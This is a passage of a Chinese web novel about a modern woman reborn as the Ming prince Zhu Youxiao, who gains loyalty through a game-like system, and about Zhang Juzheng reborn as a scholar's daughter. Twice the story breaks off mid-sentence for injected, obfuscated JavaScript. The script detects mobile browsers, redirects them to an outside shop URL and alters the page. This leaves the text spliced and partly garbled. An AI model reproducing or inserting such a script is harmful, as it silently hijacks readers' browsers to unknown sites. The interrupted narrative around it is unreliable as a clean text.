《天启盛世,一段野史》 1. 大明第一孝子 泰昌元年八月初一,紫禁城挂满白幡。 朱笑笑身披孝服跪在乾清宫金砖地上,耳边充斥着压抑的抽泣。 他嘴里发出应景的哭声,藏在袖子里的手却无聊地拨弄着,指腹上的薄茧是这几年来打磨木料留下的痕迹。 就在九天前,他的祖父,那位近三十年不上朝的摆烂达人万历皇帝终于咽下了最后一口气。 没错,朱笑笑倒霉催地投胎成了万历皇帝的长孙,泰昌皇帝的长子,朱由校。 最后能当皇帝咋了?她玩过的皇帝养成游戏没一千也八百了。 作为资深颜狗,朱笑笑当皇帝就为了猛猛开后宫集邮美人,现在嘎嘣一下真给她踹成皇帝,她只叹书到用时方恨少。 如果有机会,朱笑笑一定把《绍X》、《X明》、《官居X品》等参考文献全文背诵。 刚继位的泰昌帝朱常洛正伏在万历神位前痛哭,颤抖的背影怎么看都透着一股虚浮。 朱笑笑猜这位便宜父亲此刻心里除了悲痛,大概还夹杂着终于熬出头的狂喜。毕竟他不是万历心中属意的太子人选,尘埃落定前的每一刻都如履薄冰。 “长孙殿下。”尖细的声音在头顶响起。 朱笑笑闻声看去,是司礼监秉笔太监王安。 这位后世史书中记载的贤宦此刻眼眶通红,轻声道:“殿下需往仁智殿守灵,西李娘娘已在前头等着了。” 泰昌帝有两位李选侍,人称东李西李,去年朱笑笑生母去世后,泰昌帝就指了西李照料他。 朱笑笑乖巧起身,跟随王安走出乾清宫门,一身缟素的李选侍站在汉白玉台阶下。她生得娇艳,此刻虽作悲戚状,但那双微微上挑的凤眼里却闪着某种灼热的光。 “校哥儿,来。”李选侍伸出手,声音温软,“随姨娘去给皇祖磕头。” 朱笑笑任由她牵起自己的手。 李选侍刻意调整了角度,确保周围太监宫女都能看见,皇长子正被她牢牢攥在手中。 前往仁智殿的路上,内廷二十四衙门的掌印们像被惊扰的蚁群般穿梭而过,每个人都低着头脚步匆匆。 行至会极门时,迎面走来一队身着飞鱼服腰佩绣春刀的锦衣卫。 为首的男子约莫四十岁,面容瘦削,眼神锐利如鹰。 朱笑笑迅速认出此人。 骆思恭,锦衣卫指挥使,上任不足三月,原北镇抚司镇抚使。 两队人相遇,骆思恭侧身避让,单膝跪地:“臣锦衣卫指挥使骆思恭叩见长孙殿下,李选侍。” 李选侍微微颔首,端着架子:“骆指挥使辛苦,皇爷初登大宝,宫禁安危全赖你了。” “分内之事。”骆思恭低头应答,姿态恭谨。 就在李选侍准备牵朱笑笑离开时,朱笑笑忽然脚下一绊,惊呼一声向前扑去,正好扑向骆思恭的方向。 别误会,虽说寡了十几年,可他不是故意揩油。 “殿下小心!”骆思恭反应极快,起身同时伸手一托,稳稳扶住了朱笑笑的手臂。 朱笑笑的手指看似无意地划过骆思恭的手腕内侧,瞬间,他脑中响起一道只有自己能听见的机械音。 【接触历史人物:骆思恭】 【身份:锦衣卫指挥使】 【当前忠诚度:45/100】 【特质:谨慎多疑,擅长刑讯,渴望建立功业摆脱幸进之名】 【是否消耗1000点工匠值,激活王霸之气体验版】 【王霸之气体验版效果:使目标在30天内对宿主产生强烈认同感与临时忠诚,冷却时间30天】 朱笑笑在心底默念:激活。 几乎同时,他抬眼看向骆思恭。在骆思恭的视角里,这位皇长孙踉跄站稳后抬头看向自己,那双原本清澈的眼睛此刻竟深邃得不像少年,瞳孔深处仿佛有暗金色的流光一闪而过。 更诡异的是,骆思恭心头忽然涌起一股强烈的冲动。 此子绝非池中之物,赴汤蹈火啊殿下! “多谢骆指挥使。”朱笑笑开口,声音还是少年的清亮,语调平和,“皇祖驾崩,内外动荡。锦衣卫乃天子亲军,此时正需骆指挥使这般沉稳之人坐镇。” 骆思恭心头一震。这话若出自朝中老臣之口再正常不过,可从一个十五岁少年嘴里说出来……也不奇怪,毕竟是龙子凤孙。 他再次单膝跪地,脑袋压得得更低:“殿下言重。臣必竭尽全力护持宫禁,静待新君稳定朝纲。” 李选侍有些不耐烦,扯了扯朱笑笑的手:“好了校哥儿,莫耽误骆指挥使办差,我们还得去守灵呢。” 朱笑笑顺从地转身,走出几步后,回头看了一眼。 骆思恭仍跪在原地,目光与他遥遥一碰。 【临时忠诚度生效:95/100(剩余时间29天23小时58分)】 系统机械音在脑中响起。朱笑笑垂下眼,任由李选侍牵着往前走。 仁智殿内,万历皇帝的梓宫停放在正中,周围跪满了妃嫔,皇子皇孙哭声此起彼伏,真悲假哀混杂在一起。 朱笑笑跪在皇子队列的最前端,身为皇长孙,他的位置仅次于父亲泰昌帝。 他低垂着头,意识正沉浸在一个半透明界面上。 【帝王养成系统】 【宿主:朱笑笑】 【年龄:15岁】 【当前身份:皇长子】 【天赋:鲁班百炼】 【技能:木工入门(熟练度1127/10000)】 【工匠值:3876点】 【拥有物品:王霸之气体验版(冷却中)】 【主线任务:避免大明灭亡(进度:0.001%)】 界面的风格极其简约,深蓝色背景上浮动着银白色文字,左右切换后可以看到他身体的基础属性,右下角还有一个不断跳动的倒计时。 【距离泰昌帝驾崩:26天17小时42分】 朱笑笑在心里叹了口气。 她这二十一世纪的土木老姐好不容易摆脱打灰的宿命,考上了建筑设计院的资深工程师,谁知没几年就加班过度猝死在电脑前。再睁眼成了大明万历朝的皇长孙朱由校,还绑定了一个莫名其妙的帝王养成系统。 系统告诉她,她的任务是避免大明灭亡。作为奖励,她可以在这个世界活到自然死亡,没说返回原世界什么的,说明她的尸体估计已经拉去火化了。 而这个【鲁班百炼】的天赋,就是通过手工制作获取工匠值,工匠值可以兑换系统商城的物品、技能,甚至召唤历史人物。 很实在,跟她的专业不能说毫无关系,只能说勉强沾边。大概是天启皇帝本人自带的天赋,这位手办达人的名声朱笑笑也略知一二,依稀记得玩哪个昏君模拟器的时候就是套的这位哥。 没有冒犯的意思,朱笑笑承认她上她也不行,顶多能保证自己不溶于水,最后还是逃不过歪脖子树。 好在她有系统,这放在某点高低也算个顶配大男主了。 于是这十五年来,朱笑笑白天扮演懵懂皇孙阿巴阿巴,晚上就躲在寝殿里疯狂捣鼓木头。 开始只是车车珠子,削个筷子,到现在朱笑笑的手艺已经能做出精巧机关盒了。每完成一件作品,系统就会根据复杂度给予工匠值奖励。 三千多点的工匠值,除了刚才消耗的一千点激活王霸之气体验版,剩下的她一直攒着,准备兑换商城里价值五千点的【初级身体素质强化】。 明朝太医的技术总是神一手鬼一手的,靠他们?别说挽狂澜于既倒,一场风寒都可能被治死。 和顺利继位比起来,健康问题显然还有缓和的余地,朱笑笑果断选择押宝锦衣卫。 “小爷。”身边传来低唤,朱笑笑侧头,看见一个三十多岁的宦官跪在他斜后方。 这人生得高大,面容粗犷,但眉眼间透着股机灵劲儿。他手里捧着个软垫,往朱笑笑这边推了推。 未来的九千岁魏忠贤,此刻还是个不得志的典膳局小太监。 朱笑笑看了他一眼,没接垫子,只是微不可察地摇了摇头。 魏忠贤讪讪收回手,思绪不禁飘到昨天。 伺候早膳时,这位长孙殿下忽然叫住他:“魏进忠,你这名字不好,改叫忠贤吧,既忠且贤,这才是臣子本分。” 轻描淡写一句话,却让魏进忠感到脊梁骨发麻,继而狂喜。 遥想汪直刘瑾权势煊赫犹在眼前,他斩断孽根进宫就是为了出人头地!岂能郁郁久居人下?万历朝的国本之争让魏忠贤坚定了讨好太子一系的心。 皇长孙喜欢木工,魏忠贤能力有限,却也时常投其所好,可这位殿下从未开口讨要他,昨日给他改名,俨然是接纳的意思。 魏忠贤这才大胆讨好,不想马屁拍到马腿上,见他没有责怪的意思,心下微松。 正胡思乱想间,殿外忽然传来一阵骚动。 太监尖细的唱名声响起:“郑贵妃娘娘到——” 满殿的哭声为之一顿。 所有人的目光转向殿门。 浑身素绮的郑贵妃缓缓步入,虽已年过五旬,但保养得宜,步履间仍带着盛宠多年的雍容。 她身后跟着两个宫女,手中各捧着一个锦盒。 郑贵妃径直走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275283|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到梓宫前,盈盈下拜,泣声道:“皇爷!您怎么就撇下臣妾去了……”哭声婉转哀戚,任谁听了都要动容。 但朱笑笑发现,跪在前方的泰昌帝朱常洛肩膀几不可察地僵了一下。 这位郑贵妃可是国本之争的核心人物。她仗着万历帝的宠爱,屡次试图废掉朱常洛的太子之位,改立自己的儿子福王朱常洵。 这桩争斗持续数十年,几乎拖垮了整个大明朝廷。 如今万历驾崩,朱常洛即位,郑贵妃失了最大的靠山。按常理,她该夹起尾巴做人,可今日这架势…… 果然,郑贵妃哭罢,起身转向泰昌帝,捏着帕子拭泪:“陛下节哀。先帝在时常与本宫说起陛下仁孝,如今看来,先帝果然没看错人。” 狗屁,你不帮先帝骂我就不错了! 朱常洛脸色有些发白,勉强挤出一丝笑:“贵妃娘娘有心了。”他仰郑贵妃鼻息几十年,畏惧入骨,一时还抖不起威风。 “这是本宫该做的。”郑贵妃说着,示意宫女捧上锦盒,“先帝去年赏了本宫几斛东海明珠,还有和田玉璧,本宫想着,如今新君登基,宫中用度或有不足,特献予陛下,略尽心意。” 满殿寂静。 郑贵妃公然示好,无论私心如何,朱常洛若收了,等于默认与郑贵妃和解,过往恩怨一笔勾销,不能再追究国本之事。 朱常洛的手在袖中微微发抖。 郑贵妃在朝中经营多年,党羽遍布。万历临终前甚至下旨要封她为皇后,虽被内阁坚决驳回,但足见其影响力。自己刚即位,龙椅还没坐热,若此时接受郑贵妃示好,东林君子们还会一如既往替他冲锋陷阵吗? “贵妃娘娘厚意,朕心领了。”朱常洛终于开口,声音干涩,“只是先帝新丧,朕悲痛欲绝,无心他顾,这些东西贵妃娘娘还是留着自己用吧。” 很委婉的拒绝,可终究是拒绝了。 郑贵妃脸上的笑容淡了些,却没再坚持,只淡淡道:“既如此,本宫便先收着。陛下若有需要,随时可差人来取。” 说罢,她转身,目光在殿内扫过。当看到跪在朱常洛身后的朱笑笑时,视线停留了片刻。 朱笑笑垂下眼,不与郑贵妃对视。 郑贵妃离开后,殿内的气氛愈发诡异。朱常洛明显心神不宁,跪了不到半个时辰,就借口头晕,被太监搀扶着回了乾清宫。 皇子皇孙们也都松了口气,纷纷调整跪姿,有些人甚至悄悄在孝服下垫了软物。 李选侍不知何时挪到了朱笑笑身边,压低声音道:“校哥儿,看见没?郑贵妃这是怕了,上赶着巴结皇爷呢。” 朱笑笑没吭声。 她却自顾自说下去:“要我说,皇爷就该收了那些东西,再给郑贵妃一个好脸。毕竟她经营这么多年,宫里多少人看着她的脸色?真要撕破脸,对皇爷没好处。” 李选侍如今虽抚养皇长孙,但地位尴尬。她既非太子妃,也非贵妃,只是个选侍。若郑贵妃倒台,宫中旧势力重新洗牌,她这种没根基的妃嫔很可能被边缘化。 所以,她希望郑贵妃和泰昌帝和解,维持后宫表面平衡,她才能在其中左右逢源,甚至讨好郑贵妃,让她支持自己封后! 朱笑笑终于侧头看了她一眼:“姨娘说得是。”心思算计都写在脸上的人,在这宫里也算稀有生物。 李选侍艰难压制得意笑容,亲热地搂住朱笑笑的肩膀:“好孩子,你放心,有姨娘在定护你周全。等皇爷……咳,等以后啊,姨娘还得靠你呢。” 她说这话时,手指无意识地摩挲着朱笑笑肩头的衣料,眼底的野心几乎要溢出来。 朱笑笑任由她搂着,目光却穿过殿门,望向外面渐渐亮起来的天色。 【骆思恭临时忠诚度生效时间:29天22小时17分】 作为明末三大案的主角,朱笑笑不可能放任移宫案发生,白送东林党一份从龙之功。 泰昌帝是他们寄予厚望的正统,可惜没来得及让他们起飞,换了年纪更小的皇长子嘛,似乎能飞得更高。 至于红丸,明知郑贵妃没安好心,怎么金银珠宝严词拒绝,绝色美女就大方笑纳了? 管得住下半身就不会生病,不生病就不会吃错药。 阻止一次如何呢?嘴长在泰昌帝身上,能拦下红丸,难保他私下又去磕什么绿丸黑丸。 锦衣卫在他手上也没发挥作用,资源有限,朱笑笑肯定得先确保自己顺利登基了。 放下助人情结,尊重他人命运,不想当皇帝的太子不是好木匠。 对不住哈,便宜老爹,理解一下。 帝位之争向来如此! 2. 倒反天罡 守灵持续了一整日。 朱笑笑跪得几乎感觉不到双腿的存在,回到慈庆宫时,天都黑透了。 如今泰昌帝搬去了乾清宫,此处自然由朱笑笑居住,李选侍打着照顾的名头也挤了进来,泰昌帝未曾发话,表示默认。 改元诸事未定,李选侍还在为皇后梦奋斗,但朱笑笑俨然已是无冕太子,行情看涨值得投资。 宫女奉上热水便乖觉退下,朱笑笑喜欢独处,之前是因为伺候的人就那么小猫三两只。现在条件好了,打两份工的人也多了,他满肚子不可告人的秘密,保持谨慎总不会有错。 朱笑笑瘫进座椅,把脚丫子塞进铜盆。 啊,活过来了。 酸胀感稍退,他闭上眼调出系统界面。 【手工日常:制作一个榫卯结构的笔筒】 【工匠值:50点】 【当前工匠值:3926点】 离兑换【初级身体素质强化】还差一千多点,按照现在的进度,朱笑笑就是不眠不休搓出火星子也需要好几个月。 可若能改变某些历史关键事件,系统会给出额外奖励。 朱笑笑睁开眼看向窗边的简易工作台,桌面上散落着刨子锯子,还有几块半成品的木料,大半是魏忠贤孝敬的。 他起身走到桌边拿起一块黄花梨木,触手纹理细腻,就着烛光开始雕琢。 刀锋划过木面,发出细微的沙沙声。 朱笑笑的动作很稳,机械性的重复动作能让大脑放空,更容易理清思路。 王霸之气体验版只有三十天,想真正把锦衣卫指挥使变成自己人还得继续花心思经营。不过嘛,无论有没有系统技能干扰,骆思恭站队皇长子这事已经成了既定事实。 从龙之功,白给,你不要啊? 等技能失效,他估计也舍不得从贼船上下来了。 朱笑笑吭哧吭哧刻出笔筒雏形,才停手歇息片刻。 要说解决明末烂摊子的方案,各大穿越前辈演示过不少。 小冰河期导致粮食减产,流民四起,那就研究高产作物。 军备废弛,辽东后金虎视眈眈,那就攀科技树,发展火器。 哪样不是要钱又要人,区区太子可要不起这些。 不知不觉已是亥时三刻。 寝殿内只留了一盏黄豆大小的烛火,朱笑笑躺上床,闭眼开启系统商城。 琳琅满目的商品悬浮在虚拟空间中,【曲辕犁改良图纸】、【燧发枪原理详解】、【高产番薯种子】、【简易水泥配方】应有尽有。 价格也很美好,最便宜的农具图纸都要五千点工匠值,他这点存款连零头都够不上。 求求了,系统!登基的时候能给个新手大礼包吗?救救孩子吧!朱笑笑默默祈祷。 迷糊间,意识快要滑入梦乡,殿外忽然传来极轻的脚步声。 朱笑笑瞬间屏住呼吸,身体绷紧。他听见那脚步声停在门外,随后是窸窸窣窣的动静,像是什么东西被塞进了门缝。 片刻后,脚步声远去。 朱笑笑等了等,确定外面彻底没了动静,才轻手轻脚下床走到门边。 借着昏黄光线,他看见门边躺着一封密信,捡起展开,上面只有两行小字。 [郑妃密会福王旧属,疑有异动。骆。] 字迹苍劲,是骆思恭的手笔。 朱笑笑迅速看完,立马走到烛台边将纸条凑近灯芯。 火苗蹿起,纸张迅速蜷曲焦黑。 不错,主观能动性很强。都不用他下指令,骆指挥使已经自发开始维护未来老板的利益了,这步棋果然没走错。 他走回床边重新躺下,睁眼望着头顶的帐幔。 郑贵妃还没死心。 也是,从宠冠后宫险些封后的巅峰跌落到现今需要巴结昔日仇敌,任谁都不会甘心。 联络党羽,假意示好,进献美人,泰昌帝一命呜呼,最好绝嗣,便可效仿武宗旧事,以福藩小宗入大宗。 朱常洛一家哪怕剩个鸡蛋她都恨不得摇散黄,朱笑笑不提前把锦衣卫捏在手里睡觉都不敢闭眼,哪里会像便宜老爹那么心大。 他装了十五年孙子,在万历和郑贵妃的高压阴影下,连朱常洛都活得战战兢兢,他要是敢露出一星半点天资聪颖的样子,估计都活不到现在。 好不容易熬死万历,朱笑笑这么孝顺的一个人,明知郑贵妃心怀不轨,当然得提前掌握罪证,替壮志未酬身先死的父皇报仇雪恨了。 寅时三刻,天还没亮,魏忠贤就来敲门了。 宫廷人事部闻弦歌而知雅意,二把手只需稍微表态,他就被打包送来做了贴身内侍。 “小爷,该起了。西李娘娘吩咐,辰时要去乾清宫给先帝哭灵。” 朱笑笑坐起身揉了揉额角,睡不到两个时辰,头有些发沉,任由魏忠贤服侍。 “魏伴伴。”他开口,声音还带着晨起的微哑,“你进宫多少年了?” 魏忠贤一愣,替他理好衣襟,躬身答话:“奴婢万历二十七年入宫,至今二十一年了。” 二十一年。 比历史上的九千岁似乎更年轻,但这不重要,朱笑笑给他改了名,他就得走魏忠贤该走的路。 朱笑笑站在铜镜前正衣冠,直视镜中恭顺的眉眼,“可曾想过,有朝一日能掌印司礼监?” 扑通。 魏忠贤腿直接跪了,额头抵在冰凉的地砖上,跪伏的背影微微颤抖,不是知是恐惧还是激动。 他聪明地没有接话,此时无论说什么都有诅咒皇帝的嫌疑。 但你要问他心里想不想? 废话!做梦都想! 屋内安静,只有铜漏滴答的水声。 朱笑笑转过身,看着地上伏成一团的人:“若有一日,本宫要你去做一件事,这件事能让你平步青云,也可能让你万劫不复,你做不做?” 人这辈子能有几次飞黄腾达的机会?给未来皇帝当狗怎么了,你不干有得是人干! “做!”魏忠贤猛地抬头,亢奋得挥袖再拜,“愿为殿下肝脑涂地!” 这就是内监和锦衣卫的差别了,都不用浪费金手指,只需画个又大又圆的饼。 朱笑笑走到简易工作台前,打开柜子拿起一个巴掌大的木盒递给魏忠贤。 魏忠贤双手接过,恭敬得像是捧着圣旨。 “此盒需按特定顺序按压六处机关才能开启。”朱笑笑耐心讲解,“若强行撬开,内里的机括会启动将盒中物事尽数销毁。” 中华文化博大精深,宫里藏书阁那些落灰的典籍配合系统给的手工天赋,就算没正经师父教,他也能复原出几种失传的古机关术,要是有幸穿回去,高低能混个非遗传承人。 魏忠贤捧着木盒,不吝赞美:“小爷果真巧夺天工,神乎其技。” “你在内廷各局交好的朋友们也该走动起来了,你有上进心,本宫也未必不想更进一步。你只管放开手脚,必要时骆思恭会配合你。” 朱笑笑意有所指,不介意暴露底牌,“本宫稍后会教你使用方法,从今日起,若有要紧事,私下便用此盒传递,务必让旁人捡去也无法窥探内情。” 这个旁人,魏忠贤当然知道是指谁,事以密成,作为皇子能思虑至此,已是毫不掩饰觊觎储位的野心了。 呸呸呸!他赶紧打嘴,怎么能说是觊觎呢?长子继位名正言顺,觊觎的是那些动摇国本的小人! 锦衣卫指挥使的投诚更让他有种飘零半生,终于得遇明主的踏实感。 魏忠贤飘飘然地完成了自我攻略。 【魏忠贤忠诚度提升至85/100】 【获得工匠值:300点】 系统提示在脑中响起。 朱笑笑嘴角微勾,这个魏忠贤原本或许没机会出头,但他把人拉起来了,未来还要靠对方组建阉党对抗东林党。 系统奖励证明,这并不算是故意卡bug刷经验,那他心里就有底了。 “眼下有件要紧事需要你去办。”试验成功,朱笑笑心情不错,“发动你的人脉盯紧两个人,鸿胪寺丞李可灼,还有郑贵妃宫中的崔文升。” 魏忠贤慎重答应。 李可灼,崔文升。这两个名字他并不熟悉,可朱笑笑说得如此笃定,仿佛早已知道这两人会做什么似的,不免让魏忠贤更添几分敬畏。 他躬身退出,脚步比来时轻快许多,俨然青云之路已在眼下。 魏忠贤去后不久,乳母客氏提着食盒进来。 她端出一碗粳米粥并几样小菜放在桌上,目光扫过朱笑笑身上那件洗得发白的孝服,眉头皱起。 “小爷就穿这个去?奴婢箱子里还有匹杭绸,赶着做身新的也来得及。” “不用。”朱笑笑打断她,端起粥碗,“这样挺好。” 客氏欲言又止,最后还是叹了口气,退到一旁。 朱笑笑小口喝着粥。他内里是成年人,自然不会依恋乳母,社畜最知道怎么对付社畜,客氏这些年还算尽忠职守,旁人也很难用利益打动她。 “客妈妈。”朱笑笑忽然开口,没抬头。 “奴婢在。” “我枕头底下有个小木盒,里面是二十两银子,还有一对金耳坠。银子你留着贴补家用,耳坠给你女儿当嫁妆。”朱笑笑语气中带着些孩子气的诚恳。 客氏一下子手足无措起来:“小爷,这,这可使不得!奴婢怎么能……” 朱笑笑仰起脸,表现出恰到好处的纯真,“你跟了我十几年,这点东西算什么,将来还有更好的呢。” 客氏听懂暗示,顿时笑得皮都展开了,“那奴婢就谢小爷恩典了!” 没人比客氏更希望朱笑笑早日登基,好让她抖一把奉圣夫人的威风。 是啊,当皇帝多好,想用谁就用谁。 哪像现在,还得朱笑笑亲自下场维护创业基本盘。 河南,祥符县。 国丧的诏书昨日晨间才传到县里,县衙门前的告示牌墨迹尚未干透,街市上已不见红绿颜色,连酒幌子都撤了。 按礼部颁下的章程,国丧期间百姓需茹素二十七日,禁嫁娶、禁宴乐、禁屠宰。 张国纪虽然只是个寻常秀才,却也严守规矩,早早吩咐厨房,这几日饭菜不见半点荤腥。 西院的书房异常安静。 妙龄少女端坐在书案前,她身着一件月白色交领袄子,外罩淡青比甲,头发只简单挽了个桃心髻,斜插一支素银簪子。 窗外雨打芭蕉的声声慢,她却恍若未闻,手中狼毫在宣纸上走得极稳,一行馆阁体小楷工整得像是雕版印出来的。 “……朝中党争已炽若烈火,而辽东建虏虎视,西南土司蠢动,陕西连年大旱,国库岁入不过四百万两,九边欠饷已达三年……故臣以为,新君首要之务,非在党争,而在聚财。辽东年需饷银三百余万两,九边欠饷累积已逾千万,太仓空虚至此,而江南盐税岁入不及百万,茶税不过三十万,矿税早废,商税名存实亡。此非天下无财,乃朝廷不得其法也。” 写到此处,笔尖微微一滞。 她凝视着自己执笔的手,手指纤细,指甲修剪得整齐干净,腕骨伶仃,戴着一只成色普通的玉镯。 这双手,曾经批阅过堆积如山的奏折,签署过决定边疆将士生死的调令,也曾亲手为那个倾注心血教导的少年天子写下一本《帝鉴图说》。 历经嘉隆万三朝,执掌内阁十年的张居正缓缓抬起头来,上苍既让他轮回往生,为何不将前尘往事尽数抹去? 犹记得那年,文华殿的日光透过雕花窗格落在少年天子脸上,他语气真挚:“朕无以报先生,贵先生子孙以少报耳。” 却也是他亲自下旨褫夺先生谥号,抄没张家,致使老母幼子饿死,长子敬修自尽,余子流放烟瘴之地,永世不得回乡。 推行的新政被悉数推翻,所谓张党,贬斥的贬斥,罢官的罢官。 十年心血毁于一旦。 张居正放下狼毫,目光落在眼前这篇刚刚写就的《新政十议》上,不免勾起悲凉之叹。 如今她身为女子,不能科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275284|198210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举入仕,不能站在朝堂上振臂高呼。所有的学识、抱负,那些在无数个不眠之夜反复推敲的谋划都困在这具娇小身躯里,困在这四方院墙之内。 大明江山,已经不再需要张江陵了。 是吗? “嫣儿?” 门外传来小心翼翼的敲击声,紧接着是张国纪的询问:“为父能进来么?” 张居正闭了闭眼,再睁开时,沧桑与痛楚已被尽数掩去,换上了符合十五岁少女的平静神色。 她将写满字的纸翻面扣在案上,这才扬声道:“父亲请进。” 门吱呀一声推开。 张国纪身材微胖,蓄着规整短须,穿着件半旧的靛蓝直裰,手里端着一碗冰糖雪梨羹,热气袅袅。 “嫣儿,写了大半日的字,歇歇眼睛。”张国纪把碗放在书案角落,目光不经意扫过翻扣的宣纸,又赶紧移开,“秋雨凉,喝点热的润肺。” “谢父亲。”张居正起身规矩行礼,接过碗,用瓷勺轻轻搅动。 她也曾为人父,养育过儿女,闺阁礼范上自信挑不出半点差错。 张国纪在书案旁的椅子上坐下,面对女儿这浑然天成的沉静气度反而显得局促。 他搓了搓手,终是忍不住:“那个,嫣儿啊,为父今日去县学,李教谕问起前日你写的那篇《论漕运疏》……” “父亲如何回的?”张居正抬眸,语气平平。 “我,我就照你教的,说是你舅舅从南京捎来的旧文集子里的范文。”张国纪说着,涨红了脸,不知是臊的还是急的,“可李教谕说,那文章里引的漕粮数据与河道闸坝数目连他这个当了二十年教谕的都未必清楚!他疑心……” 在女儿威严的注视下,张国纪声音越来越小,最后几乎成了蚊蚋哼唧,“疑心是为父我在外头请了枪手,想借此图个举人的功名,你是知道为父的,我哪有那本事!可这话又不能说破,毕竟你一个姑娘家……” 张居正放下瓷勺,碗底碰着桌案面,发出不轻不重的清脆声响。 张国纪立刻噤声,腰背不自觉地挺直了些,双手规规矩矩垂在身侧,像县学里被先生抽查功课的蒙童。 书房里静下来,只余窗外绵密雨声。父女二人一坐一站,坐着的那个反而显得不自在。 张居正看着眼前这位父亲,心情有些复杂。 张国纪老实本分,考了半辈子也止步于秀才,这经历倒与前世的父亲一般无二。只可惜,这一世张国纪没有个能进士及第,光耀门楣的儿子了。 “父亲不必忧心。”张居正终于开口,“李教谕若再问,您便说文章是女儿读《大明会典》与近年邸报后自行推演所写,他若不信……” 她顿了顿,语气里透出一丝极淡的属于上位者的笃定:“可当面试我。” “这如何使得!”张国纪瞪大眼睛,“你一个未出阁的姑娘岂能见外客,还是议论这等朝政经济之事……” “国丧期间,县学本就该闭门读书,清净为本。”张居正从容道,“父亲只说女儿自幼体弱,不便见客。李教谕若有疑问,可书面递来,女儿愿以文字作答。” 她看着父亲依旧惶恐的脸,再开口便带上了些许引导和安抚:“况且,女儿听闻朝廷已有旨意,今岁乡试因国丧推迟至明年开春。父亲正可趁此机会,将女儿平日所写的那些策论文章仔细研读。若有不明之处,女儿自当为父亲讲解。” 张国纪张了张嘴,还想说什么,却见女儿已经重新拿起笔蘸了墨,悠然练起字来。 那姿态俨然是翰林院里饱读诗书的学士,哪里像个闺阁少女? 他咽了口唾沫,终是没敢再出声,只默默退了出去,轻轻带上门。 张国纪站在廊下,望着院中那株被雨打得簌簌作响的芭蕉树,心里翻腾起一股说不清道不明的滋味。 自豪吗?那是肯定的。谁家女儿能这般才华横溢?莫说祥符县,便是开封府,乃至整个河南,恐怕也找不出第二个。 可面对这个女儿,张国纪更多的是一种近乎敬畏的拘谨。 有时候他甚至觉得夫人是给他生了个爹出来。 记得嫣儿五岁开蒙,《千字文》看过两遍就能倒背如流。七岁通读《论语》,问出的问题连塾师都汗颜。十岁那年,她偶然见到自己带回家的几份世宗朝旧邸报,只翻了半个时辰,便能将当年严嵩与徐阶党争的关窍与胜负手说得清清楚楚。 张国纪苦笑一声,不知这般惊世骇俗的才华对嫣儿而言究竟是福是祸?将来又得是怎样的门第才能容得下这般女子。 偏她生得颀秀丰整,面如观音,气度卓然,倘若日后一朝中选…… 张国纪呼吸陡然急促起来,不敢再想。 书房内,张居正听着父亲的脚步声远去,笔尖才又停顿了。 重回人世之初,他努力适应女子生活时也曾想过,算了,只当是致仕回乡,就此隐退,过几年松快日子吧,两辈子加起来还没有活过严分宜呢,这像话吗? 那些聊以自娱的念头很快被渐渐探知的前世惨烈冲击得七零八落。 张居正清楚知道,脚下这个庞大帝国的躯体正在从内部慢慢溃烂。 陕西的旱灾会让多少农户颗粒无收,沦为流民? 辽东的后金铁骑下一次大规模叩关会在什么时候? 朝中那些人此刻又在谋划着推谁入阁,排挤谁出京? 连位极人臣都阻止不了新政昙花一现,究竟该如何确保它能够长久施行下去? 窗台上,一只避雨的麻雀抖了抖湿漉漉的羽毛,歪着脑袋,用黑豆似的小眼睛瞅着书案后那个眼神空茫的少女。 张居正回过神,看着那小生灵,忽然极轻淡地笑了一下。 那笑容里有自嘲,有无奈,但内心深处却仿佛有一点微弱的不肯熄灭的火星重新亮了起来。 既然忘不掉,既然放不下。 冒天下之大不韪的事情他已做了太多,也不差这一件两件。 张居正掷笔起身,自书架上抽出一本《旧唐书》翻看,不时录下摘记。 3. 碰瓷 泰昌元年八月初五。 天色方晓,李选侍便起了个大早对镜梳妆,翻箱倒柜寻出一套新制的淡紫缕金宫装穿上,头插一支三珠攒凤鎏金步摇,对镜顾盼,自觉艳光四射。 “校哥儿可起了?”她扶着鬓角,问贴身宫女。 “回娘娘,长孙殿下已在院中站了半晌了。” 李选侍推窗,见朱笑笑一身半旧素服立在晨风里,身量虽已抽条,却单薄得紧。 她眉头一皱:“怎的还穿这身?快去换件鲜亮些的!” 朱笑笑闻言,拱手道:“姨娘,祖父丧期未过,穿红着绿恐惹非议。” 李选侍一想也在理,只得摆手:“罢了罢了,快随我来,莫让贵妃娘娘久等。” 自己的妃嫔子女不忙册封,泰昌帝先为万历定了庙号神宗,郑贵妃便随之升为神庙贵妃,移居慈宁宫。李选侍除了杵在朱笑笑身边嘘寒问暖,一天少说要跑好几趟慈宁宫求见。 郑贵妃才没空理她,搬家本来就烦。 难得今日相召,在李选侍看来正是自己精诚所至,难得的攀附良机岂能不殷勤? 两人出了慈庆宫,穿廊过殿,行至隆宗门前,正撞见一队太监抬着五口樟木大箱,箱上封条朱印鲜明,上书内承运库字样。 领头太监见了两人慌忙侧身避让,李选侍昂首而过,眼角余光瞥那箱笼,满目钦羡。 她压低声音对朱笑笑说:“瞧见没?这都是郑贵妃私房,先帝在时,她宫里金玉珠宝怕是比内库还多三分!” 朱笑笑不语,只一味估算那几口箱子的容积。 万历仅有的真心恐怕都给了郑贵妃,如果朱笑笑不是利益相关方也得赞一句神仙爱情。 